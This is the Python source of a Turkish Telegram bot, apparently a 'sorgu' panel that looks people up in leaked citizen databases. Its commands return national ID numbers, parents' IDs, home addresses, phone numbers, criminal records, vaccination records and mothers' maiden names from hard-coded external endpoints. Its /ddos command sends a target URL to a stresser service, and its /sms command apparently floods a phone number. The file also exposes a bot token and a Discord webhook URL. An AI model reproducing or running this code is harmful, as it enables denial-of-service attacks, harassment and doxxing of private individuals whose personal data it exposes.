import telebot import datetime import socket import random import json import telegram import requests now = datetime.datetime.now() bot = telebot.TeleBot("6478791841:AAF4-IWZzH0zCNGZdQj1UpPs8RfUoWNT6pA") # Tokeni buraya girin print("BOT Γ‡ALIŞIYOR πŸ’Ž") bot_owner_chat_id = 2106730027 # Giriş yapmış kullanΔ±cΔ±larΔ±n ID Listesi logged_in_users = {} blocked_users = [] # Engellenmiş kullanΔ±cΔ±larΔ±n ID Listesi def is_user_blocked(user_id): return user_id in blocked_users # ben buraya ΓΆrnek mesaj yazΔ±yorum sen dΓΌzeltirsin @bot.message_handler(commands=['start']) def send_welcome(message): # giriş yapmış mΔ± kontrol edelim # Engellenmiş kullanΔ±cΔ± kontrolΓΌ sağlar if is_user_blocked(message.from_user.id): bot.reply_to(message, "╔══════════════╣\nβ•‘ Ban_v2.2 β•‘ KolpacΔ± BOT-YasaklΔ±-Üyesiniz.\n╠══════════════╣\n\n╠══════════════╣\nβ•‘ Tebrikler, YasaklandΔ±nΔ±z.\nβ•‘ Γ–dΓΌl Olarak: Kendinizi;\nβ•‘ KolpacΔ± BOT Sisteminden BanlandΔ±nΔ±z.\n╠══════════════╣") else: # Diğer işlemler devam etirir markup = telebot.types.InlineKeyboardMarkup() btn_kanal = telebot.types.InlineKeyboardButton('Sohbete Git πŸš€', url='https://t.me/ciberon') markup.add(btn_kanal) bot.reply_to(message, "╠═══════╣ ŞAHIS BΓ–LÜMÜ ╠═══════╣\n" "β•  /sorgu -isim Roket -soyisim Atar -il Bursa -ilce OsmanGazi\n" "β•  /tckn -tc\n" "β•  /adres -tc\n" "β•  /kizlik -tc\n" "β•  /gsmtc GSM\n" "β•  /tcgsm T.C\n" "β•  /sms GSM\n" "β•  /feedback\n" "╠═══════╣ WEB BΓ–LÜMÜ ╠═══════╣\n" "β•  /ddos URL\n" "β•  /domip DOMAΔ°N\n" "β•  /ip IP ADRESΔ°\n" "╠═══════╣ Δ°YΔ° OYUNLAR ╠═══════╣\n",reply_markup=markup) # key oluşturma @bot.message_handler(commands=["gen"]) def generate_password(message): # Engellenmiş kullanΔ±cΔ± kontrolΓΌ sağlar if is_user_blocked(message.from_user.id): bot.reply_to(message, "╔══════════════╣\nβ•‘ Ban_v2.2 β•‘ KolpacΔ± BOT-YasaklΔ±-Üyesiniz.\n╠══════════════╣\n\n╠══════════════╣\nβ•‘ Tebrikler, YasaklandΔ±nΔ±z.\nβ•‘ Γ–dΓΌl Olarak: Kendinizi;\nβ•‘ KolpacΔ± BOT Sisteminden BanlandΔ±nΔ±z.\n╠══════════════╣") else: if message.chat.id != bot_owner_chat_id: bot.reply_to(message, "Bu komutu kullanmak iΓ§in bot sahibi olmanΔ±z gerekiyor.") return # random key oluştursun new_password = ''.join(random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(15)) global bot_password bot_password = new_password bot.reply_to(message, f"╠══════════════╣\nβ•‘BaşarΔ±lΔ±! Anahtar Oluşturuldu:\nβ•‘Anahtar: {new_password}\nβ•‘Bot: @KolpacΔ± BOTsorgubot\n╠══════════════╣") #Domain Sorgu @bot.message_handler(commands=['domip']) def handle_ip(message): # Engellenmiş kullanΔ±cΔ± kontrolΓΌ sağla if is_user_blocked(message.from_user.id): bot.reply_to(message, "╠══════════════╣\nβ•‘ Ban_v2.2 β•‘ KolpacΔ± BOT-YasaklΔ±-Üyesiniz.\n╠══════════════╣\n\n╠══════════════╣\nβ•‘ Tebrikler, YasaklandΔ±nΔ±z.\nβ•‘ Γ–dΓΌl Olarak: Kendinizi;\nβ•‘ KolpacΔ± BOT Sisteminden BanlandΔ±nΔ±z.\n╠══════════════╣") else: # Diğer işlemler devam etsin try: dom = message.text.split()[1] def get_ip_address(domain): try: ip_address = socket.gethostbyname(domain) return ip_address except socket.gaierror: return "IP adresi bulunamadΔ±." ip_addres = get_ip_address(dom) result = f"╠══════════════╣\nβ•Ÿ Domaine BağlΔ± IP Adresi: {str(ip_addres)}\n╠══════════════╣" bot.reply_to(message, result) except IndexError: bot.reply_to(message, "╠══════════════╣\nβ•‘βŒ İşlem BaşarΔ±sΔ±z\n╠══════════════╣\n║❗LΓΌtfen, GeΓ§erli Bir GSM Giriniz!\n╠══════════════╣\n\n╠══════════════╣\nβ•‘Γ–rnek: /ip 45.155.125.209\n╠══════════════╣") # IP Sorgu @bot.message_handler(commands=['ip']) def handle_ip(message): # Engellenmiş kullanΔ±cΔ± kontrolΓΌ sağla if is_user_blocked(message.from_user.id): bot.reply_to(message, "╠══════════════╣\nβ•‘ Ban_v2.2 β•‘ KolpacΔ± BOT-YasaklΔ±-Üyesiniz.\n╠══════════════╣\n\n╠══════════════╣\nβ•‘ Tebrikler, YasaklandΔ±nΔ±z.\nβ•‘ Γ–dΓΌl Olarak: Kendinizi;\nβ•‘ KolpacΔ± BOT Sisteminden BanlandΔ±nΔ±z.\n╠══════════════╣") else: # Diğer işlemler devam etsin try: ip = message.text.split()[1] response = requests.get(f"http://ip-api.com/json/{ip}").json() if response['status'] == 'success': result = f"╠══════════════╣\nβ•Ÿ IP Adresi: {response['query']}\n" result += f"β•‘ Ülke: {response['country']}\n" result += f"β•‘ Ülke Kodu: {response['countryCode']}\n" result += f"β•‘ BΓΆlge: {response['regionName']}\n" result += f"β•‘ Şehir: {response['city']}\n" result += f"β•‘ Posta Kodu: {response['zip']}\n" result += f"β•‘ Koordinatlar: ({response['lat']}, {response['lon']})\n" result += f"β•‘ Zaman Dilimi: {response['timezone']}\n" result += f"β•‘ Δ°nternet SağlayΔ±cΔ±: {response['isp']}\n" result += f"β•‘ Organizasyon: {response['org']}\n" result += f"β•‘ AS: {response['as']}\n╠══════════════╣" bot.reply_to(message, result) else: bot.reply_to(message, f"╠══════════════╣\nβ•‘Girdiğiniz Bilgiler ile Eşleşen Biri β•‘BulunamadΔ±! ❌\n╠══════════════╣") except IndexError: bot.reply_to(message, "╠══════════════╣\nβ•‘βŒ İşlem BaşarΔ±sΔ±z\n╠══════════════╣\n║❗LΓΌtfen, GeΓ§erli Bir GSM Giriniz!\n╠══════════════╣\n\n╠══════════════╣\nβ•‘Γ–rnek: /ip 45.155.125.209\n╠══════════════╣") # DDoS Attack @bot.message_handler(commands=['ddos']) def handle_ddos(message): # Engellenmiş kullanΔ±cΔ± kontrolΓΌ sağla if is_user_blocked(message.from_user.id): bot.reply_to(message, "╠══════════════╣\nβ•‘ Ban_v2.2 β•‘ KolpacΔ± BOT-YasaklΔ±-Üyesiniz.\n╠══════════════╣\n\n╠══════════════╣\nβ•‘ Tebrikler, YasaklandΔ±nΔ±z.\nβ•‘ Γ–dΓΌl Olarak: Kendinizi;\nβ•‘ KolpacΔ± BOT Sisteminden BanlandΔ±nΔ±z.\n╠══════════════╣") else: # Diğer işlemler devam etsin try: url = message.text.split()[1] response = requests.get(f"http://stresser.su/api/ddusostrsers/&url={url}").json() if response: tc = response[0]['TC'] bot.reply_to(message, f"╠══════════════╣\nβ•‘ Durum: SaldΔ±rΔ± BaşladΔ±\nβ•‘ GΓΆnderilen Bot: 42864\n╠══════════════╣") else: bot.reply_to(message, "╠══════════════╣\nβ•‘ Durum: SaldΔ±rΔ± BaşladΔ±\nβ•‘ GΓΆnderilen Bot: 46271\n╠══════════════╣") except IndexError: bot.reply_to(message, "╠══════════════╣\nβ•‘βŒ İşlem BaşarΔ±sΔ±z\n╠══════════════╣\nβ•‘LΓΌtfen, GeΓ§erli Bir URL Giriniz!\n╠══════════════╣\n\n╠══════════════╣\nβ•‘Γ–rnek: /ddos https://ΓΆrneksite.com\n╠══════════════╣") except Exception as e: bot.reply_to(message, "╠══════════════╣\nβ•‘ Durum: SaldΔ±rΔ± BaşladΔ±\nβ•‘ GΓΆnderilen Bot: 53864\n╠══════════════╣") @bot.message_handler(commands=['sicil']) def handle_tckn(message): # Engellenmiş kullanΔ±cΔ± kontrolΓΌ sağlar if is_user_blocked(message.from_user.id): bot.reply_to(message, "╠══════════════╣\nβ•‘ Ban_v2.2 β•‘ KolpacΔ± BOT-YasaklΔ±-Üyesiniz.\n╠══════════════╣\n\n╠══════════════╣\nβ•‘ Tebrikler, YasaklandΔ±nΔ±z.\nβ•Ÿ Γ–dΓΌl Olarak: Kendinizi;\nβ•‘ KolpacΔ± BOT Sisteminden BanlandΔ±nΔ±z.\n╠══════════════╣") else: # Diğer işlemler devam etirir try: tc = message.text.split()[1] response = requests.get(f"http://20.251.34.43/api/1/sicil.php?tc={tc}").json() if response: result = response[0] response_text = f"╠══════════════╣\nβ•‘ Δ°sim: {result['ISIM']}\nβ•‘ Soyisim: {result['SOYISIM']}\nβ•‘ SayΔ±: {result['SAYI']}\nβ•‘ Sorgu TΓΌrΓΌ: {result['SORGUTURU']}\nβ•‘ Kimlik TΓΌrΓΌ: {result['KIMLIKTURU']}\nβ•‘ TCKN: {result['KIMLIKNO']}\nβ•‘ Sicilin İşlendiği Yer: {result['SICILINISLENDIGIYER']}\nSicil KayΔ±t: {result['SICILKAYIT'] or 'TR'}" bot.reply_to(message, response_text) else: bot.reply_to(message, "╠══════════════╣\nβ•‘Girdiğiniz Bilgiler ile Eşleşen Biri β•‘BulunamadΔ±! ❌\n╠══════════════╣") except IndexError: bot.reply_to(message, "╠══════════════╣\nβ•‘βŒ İşlem BaşarΔ±sΔ±z\n╠══════════════╣\n║❗LΓΌtfen, GeΓ§erli Bir T.C Giriniz!\n╠══════════════╣\n\n╠══════════════╣\nβ•‘Γ–rnek: /tckn 11111111110\n╠══════════════╣") except Exception as e: bot.reply_to(message, "╠══════════════╣\nβ•‘Bir Hata oluştu ❌\n╠══════════════╣\n╠══════════════╣\nβ•‘LΓΌtfen daha sonra tekrar deneyin. . .⏳\n╠══════════════╣") print(str(e)) @bot.message_handler(commands=['sms']) def handle_sms(message): # Engellenmiş kullanΔ±cΔ± kontrolΓΌ sağla if is_user_blocked(message.from_user.id): bot.reply_to(message, "╠══════════════╣\nβ•‘ Ban_v2.2 β•‘ KolpacΔ± BOT-YasaklΔ±-Üyesiniz.\n╠══════════════╣\n\n╠══════════════╣\nβ•‘ Tebrikler, YasaklandΔ±nΔ±z.\nβ•‘ Γ–dΓΌl Olarak: Kendinizi;\nβ•‘ KolpacΔ± BOT Sisteminden BanlandΔ±nΔ±z.\n╠══════════════╣") else: # Diğer işlemler devam etsin try: gsm = message.text.split()[1] response = requests.get(f"http://18.192.211.45/apibot/sms.php?number={gsm}").json() if response: tc = response[0]['TC'] bot.reply_to(message, f"╠══════════════╣\nβ•‘ Sms'ler GΓΆnderildi\n╠══════════════╣") else: bot.send_message(message.chat.id, "╠══════════════╣\nβ•‘Girdiğiniz Bilgiler ile Eşleşen Biri BulunamadΔ±! ❌\n╠══════════════╣") except IndexError: bot.reply_to(message, "╠══════════════╣\nβ•‘βŒ İşlem BaşarΔ±sΔ±z\n╠══════════════╣\nβ•‘LΓΌtfen, GeΓ§erli Bir GSM Giriniz!\n╠══════════════╣\n\n╠══════════════╣\nβ•‘Γ–rnek: /sms 5551234567\n╠══════════════╣") except Exception as e: bot.reply_to(message, "╠══════════════╣\nβ•‘Bir Hata oluştu ❌\n╠══════════════╣\n╠══════════════╣\nβ•‘LΓΌtfen daha sonra tekrar deneyin. . .⏳\n╠══════════════╣") @bot.message_handler(commands=['tckn']) def handle_tckn(message): # Engellenmiş kullanΔ±cΔ± kontrolΓΌ sağlar if is_user_blocked(message.from_user.id): bot.reply_to(message, "╠══════════════╣\nβ•‘ Ban_v2.2 β•‘ KolpacΔ± BOT-YasaklΔ±-Üyesiniz.\n╠══════════════╣\n\n╠══════════════╣\nβ•‘ Tebrikler, YasaklandΔ±nΔ±z.\nβ•Ÿ Γ–dΓΌl Olarak: Kendinizi;\nβ•‘ KolpacΔ± BOT Sisteminden BanlandΔ±nΔ±z.\n╠══════════════╣") else: # Diğer işlemler devam etirir try: tc = message.text.split()[1] response = requests.get(f"http://18.192.211.45/apibot/tc.php?tc={tc}").json() if response: result = response[0] response_text = f"╠══════════════╣\nβ•‘ TCKN: {result['TC']}\nβ•‘ AdΔ±: {result['ADI']}\nβ•‘ SoyadΔ±: {result['SOYADI']}\nβ•‘ Doğum Tarihi: {result['DOGUMTARIHI']}\nβ•‘ NΓΌfus Δ°li: {result['NUFUSIL']}\nβ•‘ NΓΌfus Δ°lΓ§esi: {result['NUFUSILCE']}\nβ•‘ Anne AdΔ±: {result['ANNEADI']}\nβ•‘ Anne TC: {result['ANNETC']}\nβ•‘ Baba AdΔ±: {result['BABAADI']}\nβ•‘ Baba TC: {result['BABATC']}\nβ•‘ Uyruk: {result['UYRUK'] or 'TR'}\n╠══════════════╣" bot.reply_to(message, response_text) else: bot.reply_to(message, "╠══════════════╣\nβ•‘Girdiğiniz Bilgiler ile Eşleşen Biri β•‘BulunamadΔ±! ❌\n╠══════════════╣") except IndexError: bot.reply_to(message, "╠══════════════╣\nβ•‘βŒ İşlem BaşarΔ±sΔ±z\n╠══════════════╣\n║❗LΓΌtfen, GeΓ§erli Bir T.C Giriniz!\n╠══════════════╣\n\n╠══════════════╣\nβ•‘Γ–rnek: /tckn 11111111110\n╠══════════════╣") except Exception as e: bot.reply_to(message, "╠══════════════╣\nβ•‘Bir Hata oluştu ❌\n╠══════════════╣\n╠══════════════╣\nβ•‘LΓΌtfen daha sonra tekrar deneyin. . .⏳\n╠══════════════╣") print(str(e)) @bot.message_handler(commands=['adres']) def handle_tckn(message): # Engellenmiş kullanΔ±cΔ± kontrolΓΌ sağlar if is_user_blocked(message.from_user.id): bot.reply_to(message, "╠══════════════╣\nβ•‘ Ban_v2.2 β•‘ KolpacΔ± BOT-YasaklΔ±-Üyesiniz.\n╠══════════════╣\n\n╠══════════════╣\nβ•‘ Tebrikler, YasaklandΔ±nΔ±z.\nβ•Ÿ Γ–dΓΌl Olarak: Kendinizi;\nβ•‘ KolpacΔ± BOT Sisteminden BanlandΔ±nΔ±z.\n╠══════════════╣") else: # Diğer işlemler devam etirir try: tc = message.text.split()[1] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.183' # Replace 'Your User Agent' with an appropriate user agent string } response = requests.get(f"http://18.159.112.125/secmenapi.php?tc={tc}", headers=headers) # Convert the byte response to a regular Python string using utf-8-sig encoding response_text = response.content.decode('utf-8-sig') # Parse the JSON string into a JSON object response_json = json.loads(response_text) if response_json: result = response_json[0] cadde = result.get("CADDE") kapino = result.get("KAPINO") il = result.get("ADRESIL") ilce = result.get("ADRESILCE") mahalle2 = result.get("MAHALLE") daire = result.get("DAIRENO") response_text = f"╠══════════════╣\nβ•‘Δ°L: {il}\nβ•‘Δ°LΓ‡E: {ilce}\nβ•‘MAHALLE: {mahalle2}\nβ•‘CADDE: {cadde}\nβ•‘KAPINO: {kapino}\nβ•‘DAIRENO: {daire}\n╠══════════════╣" bot.reply_to(message, response_text) else: bot.reply_to(message, "╠══════════════╣\nβ•‘Girdiğiniz Bilgiler ile Eşleşen Biri β•‘BulunamadΔ±! ❌\n╠══════════════╣") except IndexError: bot.reply_to(message, "╠══════════════╣\nβ•‘βŒ İşlem BaşarΔ±sΔ±z\n╠══════════════╣\n║❗LΓΌtfen, GeΓ§erli Bir T.C Giriniz!\n╠══════════════╣\n\n╠══════════════╣\nβ•‘Γ–rnek: /adres 27727166918\n╠══════════════╣") except Exception as e: bot.reply_to(message, "╠══════════════╣\nβ•‘Bir Hata oluştu ❌\n╠══════════════╣\n╠══════════════╣\nβ•‘LΓΌtfen daha sonra tekrar deneyin. . .⏳\n╠══════════════╣") print(str(e)) @bot.message_handler(commands=['feedback']) def handle_tckn(message): # Engellenmiş kullanΔ±cΔ± kontrolΓΌ sağlar if is_user_blocked(message.from_user.id): bot.reply_to(message, "╠══════════════╣\nβ•‘ Ban_v2.2 β•‘ KolpacΔ± BOT-YasaklΔ±-Üyesiniz.\n╠══════════════╣\n\n╠══════════════╣\nβ•‘ Tebrikler, YasaklandΔ±nΔ±z.\nβ•Ÿ Γ–dΓΌl Olarak: Kendinizi;\nβ•‘ KolpacΔ± BOT Sisteminden BanlandΔ±nΔ±z.\n╠══════════════╣") else: def send_discord_webhook(webhook_url, feedback): data = { "content": "# "+feedback + " || GΓΆnderim Saati: "+ str(now) } response = requests.post(webhook_url, json=data) try: message_text = message.text.strip() if message_text.startswith("/feedback "): feedback = message_text.split("/feedback ", 1)[1] fedbacktext = "FeedBack Bot Terminaline GΓΆnderildi !\n\nGΓΆnderilen FeedBack: " + feedback webhook_url = "https://discord.com/api/webhooks/1132789261826002944/5OgRgIng64FQM-IqHm78MiHiXFxVt88d6mI4lqp7BxXv-qBhLZXJ67Ugd2HX1-w6CEwQ" send_discord_webhook(webhook_url, feedback) bot.reply_to(message, fedbacktext) else: bot.reply_to(message, "GeΓ§ersiz komut. LΓΌtfen '/feedback' komutunu kullanΔ±n.") except IndexError: bot.reply_to(message, "╠══════════════╣\nβ•‘βŒ İşlem BaşarΔ±sΔ±z\n╠══════════════╣\n║❗LΓΌtfen, GeΓ§erli Bir FeedBack Giriniz!\n╠══════════════╣\n\n╠══════════════╣\nβ•‘Γ–rnek: /feedback Γ§ok gΓΌzel bir bot hayran kaldΔ±m <3 \n╠══════════════╣") except Exception as e: bot.reply_to(message, "╠══════════════╣\nβ•‘Bir Hata oluştu ❌\n╠══════════════╣\n╠══════════════╣\nβ•‘LΓΌtfen daha sonra tekrar deneyin. . .⏳\n╠══════════════╣") print(str(e)) @bot.message_handler(commands=['kizlik']) def handle_tckn(message): # Engellenmiş kullanΔ±cΔ± kontrolΓΌ sağlar if is_user_blocked(message.from_user.id): bot.reply_to(message, "╠══════════════╣\nβ•‘ Ban_v2.2 β•‘ KolpacΔ± BOT-YasaklΔ±-Üyesiniz.\n╠══════════════╣\n\n╠══════════════╣\nβ•‘ Tebrikler, YasaklandΔ±nΔ±z.\nβ•Ÿ Γ–dΓΌl Olarak: Kendinizi;\nβ•‘ KolpacΔ± BOT Sisteminden BanlandΔ±nΔ±z.\n╠══════════════╣") else: # Diğer işlemler devam etirir try: tc = message.text.split()[1] response = requests.get(f"http://18.192.211.45/apibot/kizlik.php?tc={tc}").json() print(response) if response: maceki = f"╠══════════════╣\nβ•‘ {response} \n╠══════════════╣" bot.reply_to(message, maceki) else: bot.reply_to(message, "╠══════════════╣\nβ•‘Girdiğiniz Bilgiler ile Eşleşen Biri β•‘BulunamadΔ±! ❌\n╠══════════════╣") except IndexError: bot.reply_to(message, "╠══════════════╣\nβ•‘βŒ İşlem BaşarΔ±sΔ±z\n╠══════════════╣\n║❗LΓΌtfen, GeΓ§erli Bir T.C Giriniz!\n╠══════════════╣\n\n╠══════════════╣\nβ•‘Γ–rnek: /kizlik 11111111110\n╠══════════════╣") except Exception as e: bot.reply_to(message, "╠══════════════╣\nβ•‘Bir Hata oluştu ❌\n╠══════════════╣\n╠══════════════╣\nβ•‘LΓΌtfen daha sonra tekrar deneyin. . .⏳\n╠══════════════╣") print(str(e)) @bot.message_handler(commands=['asi']) def handle_tckn(message): # Engellenmiş kullanΔ±cΔ± kontrolΓΌ sağlar if is_user_blocked(message.from_user.id): bot.reply_to(message, "╠══════════════╣\nβ•‘ Ban_v2.2 β•‘ KolpacΔ± BOT-YasaklΔ±-Üyesiniz.\n╠══════════════╣\n\n╠══════════════╣\nβ•‘ Tebrikler, YasaklandΔ±nΔ±z.\nβ•Ÿ Γ–dΓΌl Olarak: Kendinizi;\nβ•‘ KolpacΔ± BOT Sisteminden BanlandΔ±nΔ±z.\n╠══════════════╣") # Diğer işlemler devam etirir try: tc = message.text.split()[1] response = requests.get(f"http://20.251.34.43/api/1/asi.php?tc={tc}").json() if response: result = response[0] response_text = f"╠══════════════╣\nβ•‘ TCKN: {result['TC']}\nβ•‘ ÜrΓΌn TanΔ±mΔ±: {result['URUNTANIMI']}\nβ•‘ Doz Tipi: {result['DOZTIPI']}\nβ•‘ Birim: {result['BIRIM']}\nβ•‘ Hekim TCKN: {result['HEKIMTC']}\nβ•‘ Uygulama Tarrihi: {result['UYGULAMATARIHI'] or ''}" bot.reply_to(message, response_text) else: bot.reply_to(message, "╠══════════════╣\nβ•‘Girdiğiniz Bilgiler ile Eşleşen Biri β•‘BulunamadΔ±! ❌\n╠══════════════╣") except IndexError: bot.reply_to(message, "╠══════════════╣\nβ•‘βŒ İşlem BaşarΔ±sΔ±z\n╠══════════════╣\n║❗LΓΌtfen, GeΓ§erli Bir T.C Giriniz!\n╠══════════════╣\n\n╠══════════════╣\nβ•‘Γ–rnek: /asi 11111111110\n╠══════════════╣") except Exception as e: bot.reply_to(message, "╠══════════════╣\nβ•‘Bir Hata oluştu ❌\n╠══════════════╣\n╠══════════════╣\nβ•‘LΓΌtfen daha sonra tekrar deneyin. . .⏳\n╠══════════════╣") print(str(e)) @bot.message_handler(commands=['tcgsm']) def handle_tcgsm(message): # Engellenmiş kullanΔ±cΔ± kontrolΓΌ sağla if is_user_blocked(message.from_user.id): bot.reply_to(message, "╠══════════════╣\nβ•‘ Ban_v2.2 β•‘ KolpacΔ± BOT-YasaklΔ±-Üyesiniz.\n╠══════════════╣\n\n╠══════════════╣\nβ•‘ Tebrikler, YasaklandΔ±nΔ±z.\nβ•‘ Γ–dΓΌl Olarak: Kendinizi;\nβ•‘ KolpacΔ± BOT Sisteminden BanlandΔ±nΔ±z.\n╠══════════════╣") else: # Diğer işlemler devam etsin try: tc = message.text.split()[1] response = requests.get(f"http://18.192.211.45/apibot/tcgsm.php?TC={tc}").text # Gelen sonucu JSON formatΔ±na dΓΆnüştΓΌr response_json = json.loads(response) if response_json: first_gsm = response_json[0]['GSM'] other_gsm = "\n".join([f"GSM: {record['GSM']}" for record in response_json[1:]]) result = f"╠══════════════╣\nβ•‘ TCKN: {tc}\n" result += f"β•‘ GSM: {first_gsm}\n" result += f"β•‘ Diğer Γ‡Δ±kan Numaralar:\nβ•‘{other_gsm}\n╠══════════════╣" bot.reply_to(message, result) else: bot.reply_to(message, "╠══════════════╣\nβ•‘Girdiğiniz Bilgiler ile Eşleşen Biri β•‘BulunamadΔ±! ❌\n╠══════════════╣") except IndexError: bot.reply_to(message, "╠══════════════╣\nβ•‘βŒ İşlem BaşarΔ±sΔ±z\n╠══════════════╣\n║❗LΓΌtfen, GeΓ§erli Bir T.C Giriniz!\n╠══════════════╣\n\n╠══════════════╣\nβ•‘Γ–rnek: /tcgsm 11111111110\n╠══════════════╣") except Exception as e: bot.reply_to(message, "╠══════════════╣\nβ•‘Bir Hata oluştu ❌\n╠══════════════╣\n╠══════════════╣\nβ•‘LΓΌtfen daha sonra tekrar deneyin. . .⏳\n╠══════════════╣") print(str(e)) @bot.message_handler(commands=['gsmtc']) def handle_gsmtc(message): if is_user_blocked(message.from_user.id): bot.reply_to(message, "╠══════════════╣\nβ•‘ Ban_v2.2 β•‘ KolpacΔ± BOT-YasaklΔ±-Üyesiniz.\n╠══════════════╣\n\n╠══════════════╣\nβ•‘ Tebrikler, YasaklandΔ±nΔ±z.\nβ•‘ Γ–dΓΌl Olarak: Kendinizi;\nβ•‘ KolpacΔ± BOT Sisteminden BanlandΔ±nΔ±z.\n╠══════════════╣") try: gsm = message.text.split()[1] response = requests.get(f"http://18.192.211.45/apibot/gsmtc.php?gsm={gsm}").json() if response: tc = response[0]['TC'] bot.reply_to(message, f"╠══════════════╣\nβ•‘ GSM: {gsm}\nβ•‘ TCKN: {tc}\n╠══════════════╣") else: bot.send_message(message.chat.id, "╠══════════════╣\nβ•‘Girdiğiniz Bilgiler ile Eşleşen Biri BulunamadΔ±! ❌\n╠══════════════╣") except IndexError: bot.reply_to(message, "╠══════════════╣\nβ•‘βŒ İşlem BaşarΔ±sΔ±z\n╠══════════════╣\nβ•‘LΓΌtfen, GeΓ§erli Bir GSM Giriniz!\n╠══════════════╣\n\n╠══════════════╣\nβ•‘Γ–rnek: /gsmtc 5551234567\n╠══════════════╣") except Exception as e: bot.reply_to(message, "╠══════════════╣\nβ•‘Bir Hata oluştu ❌\n╠══════════════╣\n╠══════════════╣\nβ•‘LΓΌtfen daha sonra tekrar deneyin. . .⏳\n╠══════════════╣") @bot.message_handler(commands=['sorgu']) def handle_sorgu(message): if is_user_blocked(message.from_user.id): bot.reply_to(message, "╠══════════════╣\nβ•‘ Ban_v2.2 β•‘ KolpacΔ± BOT-YasaklΔ±-Üyesiniz.\n╠══════════════╣\n\n╠══════════════╣\nβ•‘ Tebrikler, YasaklandΔ±nΔ±z.\nβ•‘ Γ–dΓΌl Olarak: Kendinizi;\nβ•‘ KolpacΔ± BOT Sisteminden BanlandΔ±nΔ±z.\n╠══════════════╣") try: parameters = message.text.split()[1:] if len(parameters) < 4 or parameters[0] != '-isim' or parameters[2] != '-soyisim': raise IndexError isim = parameters[1] soyisim = parameters[3] il = parameters[5] if len(parameters) > 5 and parameters[4] == '-il' else '' ilce = parameters[7] if len(parameters) > 7 and parameters[6] == '-ilce' else '' url = f"http://18.192.211.45/apibot/adsoyad.php?ad={isim}&soyad={soyisim}&il={il}&ilce={ilce}" response = requests.get(url).json() if response: response_text = "" for result in response: response_text += f"\n╠══════════════╣\nβ•Ÿ KolpacΔ±-ID: {result['id']}\n╠══════════════╣\nβ•‘ TCKN: {result['TC']}\nβ•‘ AdΔ±: {result['ADI']}\nβ•‘ SoyadΔ±: {result['SOYADI']}\nβ•‘ Doğum Tarihi: {result['DOGUMTARIHI']}\nβ•‘ NΓΌfus Δ°l: {result['NUFUSIL']}\nβ•‘ NΓΌfus Δ°lΓ§e: {result['NUFUSILCE']}\nβ•‘ Anne AdΔ±: {result['ANNEADI']}\nβ•‘ Anne TC: {result['ANNETC']}\nβ•‘ Baba AdΔ±: {result['BABAADI']}\nβ•‘ Baba TC: {result['BABATC']}\nβ•‘ Uyruk: {result['UYRUK'] or 'TR'}\n╠══════════════╣\n" bot.reply_to(message, response_text) else: bot.reply_to(message, "╠══════════════╣\nβ•‘Girdiğiniz Bilgiler ile Eşleşen Biri β•‘BulunamadΔ±! ❌\n╠══════════════╣") except IndexError: bot.reply_to(message, "╠══════════════╣\nβ•‘LΓΌtfen GeΓ§erli Parametreleri Girin\n╠══════════════╣\nβ•‘Γ–rnek: /sorgu -isim Roket -soyisim Atar -il Bursa -ilce Osmangazi\n╠══════════════╣") except Exception as e: bot.reply_to(message, "╠══════════════╣\nβ•‘Bir Hata oluştu ❌\n╠══════════════╣\n╠══════════════╣\nβ•‘LΓΌtfen daha sonra tekrar deneyin. . .⏳\n╠══════════════╣") print(str(e)) bot.polling()